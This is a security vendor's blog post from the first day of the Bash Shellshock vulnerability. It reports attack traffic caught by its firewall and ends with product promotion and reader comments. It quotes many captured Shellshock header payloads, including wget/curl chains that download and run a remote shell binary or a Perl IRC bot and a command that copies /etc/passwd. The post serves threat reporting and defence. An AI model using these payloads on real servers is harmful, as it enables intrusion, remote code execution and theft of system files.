Bash – ShellShocker – Attacks Increase in the Wild – Day 1

The Bash ShellShocker vulnerability was first disclosed to the public yesterday. Just a few hours after the initial release, we started to see a few scans looking for vulnerable servers. Our Website Firewall (CloudProxy) had already virtually patched the vulnerability via our Zero Day response mechanism. This allowed us to to create sinkholes and start analyzing the incoming attacks, current and as they evolve.

Most of the scans were not malicious; they appeared to be checking for the vulnerability, which is to be expected as researchers began checking their environments and others.

Most scan attempts were benign and looked something like this:

"() { :;}; /bin/bash -c x22uname -ax22"

"() { :;}; echo vulnerable' bash -c x22ls /x22" 

As the news about this vulnerability spread, nothing much major happened. Various posts were released talking to the potential impact, breakdown of the possibilities, etc. In fact, many researchers thought it was more FUD than the huge security issue the media was making it out to be. We were not discounting the seriousness of the vulnerability, but an exploit appeared to require a very unique server configuration, affecting a low number of web servers. The odds would be in your favour to have better luck scanning and exploiting the great number of out of date versions of WordPress, Joomla, Drupal and their various extensions and components.

Bash ShellShocker – Day 1

Our perspective on this changed when we identified cPanel as the potential entry point. cPanel servers are employed by thousands – if not millions of websites owners, now putting those website owners and their website in the direct line of fire, regardless of platform. What started as something big, but not critical, rapidly switched priorities.

In the first day, few hours, we are seeing thousands of requests to different web sites attempting all types of exploits.

From attackers trying to set up remote shells:

"() { :; }; /bin/bash -c x22if [ $(/bin/uname -m | /bin/grep 64) ]; 
then /usr/bin/wget -O /tmp/.osock;  else /usr/bin/wget -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &x22" "PROXYBLOCKID:" "

To the configuration of IRC bots:

() { :;}; /bin/bash -c x22cd /tmp;curl -O ; perl /tmp/jur;rm -rf /tmp/jurx22"

… all being crammed inside the user agent, referrer and other HTTP headers. We are also seeing a lot of discovery still going on, like these attempts:

() { ignored;};/usr/bin/wget"

() { :;}; echo shellshock-scan > /dev/udp/"

() { :; }; /bin/cat /etc/passwd > /tmp/d1.txt"

() { :; }; echo -e x22Content-Type: text/plainx5Cnx22; echo qQQQQQq"

() { :; }; ping -c 17" "() { :; }; ping -c 17" 

() { :;}; /bin/bash -c x22/usr/bin/wget -O /tmp/a.plx22"

() { :;}; echo; /usr/bin/id" ""

() { :;}; /usr/bin/env curl -s   > /dev/null" "() { :;}; /usr/bin
/env curl -s  > /dev/null"

() { :;}; /bin/env curl -s  > /dev/nu

() { :;}; /bin/bash -c x22wget"

() { :;}; wget" 

() { :; }; curl"

() { test;};/usr/bin/wget -O ~/cgi-bin/APM.mp3"

… and even via email:

() { :; }; mail -s x22Your filesx22

So far we identified 90+ different IP addresses doing mass scans, the worst offenders being:

The most targeted URLs have been:


We will keep monitoring and will post more details as we go.

If you think or find that your web server is vulnerable but find yourself in a position where you can’t patch for whatever reason, not to worry. We will providing 30 day free trials of our Website Firewall, please submit an email to

Many might be using the free CloudFlare product, please note that you are not protected from this (with their free product) as it is a CDN and not a WAF. To get protection from this, and any other software vulnerabilities, you’ll need to use one of their paid products.

Additionally, CloudFlare has prepared Web Application Firewall (WAF) rules to protect customers who have not yet patched their own servers. This firewall rule is available to Pro, Business, and Enterprise customers. We have enabled this rule by default, so no WAF configuration is necessary. – CloudFlare

Not to worry, our Website Firewall sits perfectly behind the CloudFlare CDN and we have ample instructions on how to achieve this. Get the best of performance optimization, while keeping your website and it’s readers safe.

  1. The majority of the scans we’ve seen are from “researchers” looking to get an idea of how widespread this is. Which, IMO, does nothing but cloud the issue.

  2. Ironic that a security company as good as Sucuri is in bed with a prolific provider of services to hackers – that being Cloudflare. Cloudflare is the enemy, they play both sides of the fence. I have sinkholed every network they operate worldwide, and my users cannot reach them. I refuse to budge on that until Cloudflare leaves the darkside behind once and for all. Until they start being responsive to abuse reports and stop threatening people who make abuse reports with identity disclosure, I have no interest in doing business with them or anyone aligned with them. This alliance between Sucuri and Cloudflare will weigh heavily on my decision when my Sucuri service comes up for renewal next. There are reputable CDN providers, and then there is Cloudflare.

Comments are closed.

You May Also Like